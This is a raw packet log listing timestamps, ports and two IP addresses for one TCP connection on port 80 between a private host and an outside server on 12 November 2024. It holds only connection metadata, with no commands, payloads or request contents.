Nov 12, 2024 21:21:37.547167063 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547179937 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547194004 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547198057 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547208071 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547220945 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547221899 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547230005 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547239065 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547249079 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547254086 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547275066 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547277927 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547277927 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547288895 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547305107 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547306061 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547322035 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547322035 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547327042 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547336102 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547342062 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547357082 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547360897 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547372103 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547375917 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547386885 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547395945 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547403097 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547418118 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547419071 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547419071 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547439098 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547440052 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547455072 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547462940 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547465086 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547477961 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547492027 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547501087 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547506094 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547512054 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547522068 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547530890 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547534943 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547549963 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547559023 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547559023 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547570944 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547574997 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547586918 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547586918 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547600985 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547601938 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547619104 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547630072 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547641993 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547642946 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547657967 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547662973 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547674894 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547687054 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547689915 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547703981 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547707081 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547719002 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547728062 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547734022 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547748089 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547761917 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547771931 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547771931 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547784090 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547797918 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547800064 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547812939 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547821999 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547827959 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547842026 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547847986 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547857046 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547864914 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547871113 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547884941 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547893047 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547899008 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547916889 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547921896 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547935963 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547950983 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547950983 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547950983 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547966957 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547970057 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547981977 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.547983885 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.547997952 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548002005 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548013926 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548028946 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548032045 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548032045 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548047066 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548047066 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548064947 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548064947 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548079967 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548080921 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548094034 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548094988 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548109055 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548114061 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548122883 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548130989 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548136950 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548151016 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548165083 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548177958 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548177958 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548187971 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548206091 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548208952 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548222065 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548223019 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548238039 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548239946 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548253059 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548257113 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548269033 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548275948 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548285007 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548286915 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548300028 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548309088 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548316002 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548331022 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548338890 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548346043 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548358917 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548367023 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548367977 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548382998 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548396111 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548397064 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548410892 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548420906 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548425913 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548440933 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548449993 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548455000 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548470974 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548484087 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548486948 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548486948 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548507929 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548510075 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548522949 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548535109 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548537970 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548553944 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548554897 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548563957 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548571110 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548584938 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548584938 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548600912 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548609972 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548618078 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548631907 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548635006 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548646927 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548654079 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548660994 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548676014 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548685074 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548691034 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548706055 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548707962 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548719883 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548736095 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548736095 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548744917 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548758984 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548758984 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548775911 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548779011 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548789978 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548795938 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548804998 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548806906 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548820019 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548821926 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548835039 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548839092 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548854113 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548867941 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548871040 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548871040 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548881054 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548891068 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548912048 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548928976 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548939943 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548954010 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548968077 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548979044 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548981905 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.548995972 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.548995972 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549012899 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549014091 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549030066 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549045086 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549051046 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549057961 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549060106 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549073935 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549082994 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549088955 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549103022 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549108028 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549129963 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549134970 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549149990 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549163103 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549164057 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549164057 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549180031 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549201965 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549216032 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549217939 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549230099 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549230099 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549249887 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549263000 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549273014 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549283028 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549297094 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549299002 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549312115 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549326897 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549335003 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549335003 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549346924 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549349070 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549364090 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549379110 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549379110 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549382925 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549403906 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549406052 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549416065 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549420118 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549434900 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549437046 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549449921 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549455881 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549467087 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549469948 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549482107 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549489021 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549498081 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549503088 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549511909 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549525976 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549526930 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549534082 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549541950 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549550056 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549556017 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549568892 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549581051 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549586058 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549601078 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549613953 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549626112 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549627066 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549642086 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549655914 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549669027 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549674988 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549674988 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549685001 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549691916 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549709082 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549724102 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549731016 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549731016 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549740076 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549743891 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549774885 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549782991 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549792051 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549798965 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549813032 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549825907 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549828053 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549840927 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549843073 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549856901 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549858093 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549871922 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549875021 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549890041 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549900055 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549905062 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549922943 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549926996 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549942017 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549947023 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549957991 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549968958 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549972057 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549979925 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.549988031 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.549998999 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550003052 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550014019 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550018072 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550033092 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550043106 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550050020 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550065041 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550066948 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550066948 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550066948 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550079107 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550090075 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550096989 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550100088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550116062 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550122976 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550129890 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550132036 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550144911 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550154924 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550159931 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550170898 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.550175905 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.550188065 CET	49759	80	192.168.2.4	185.215.113.206
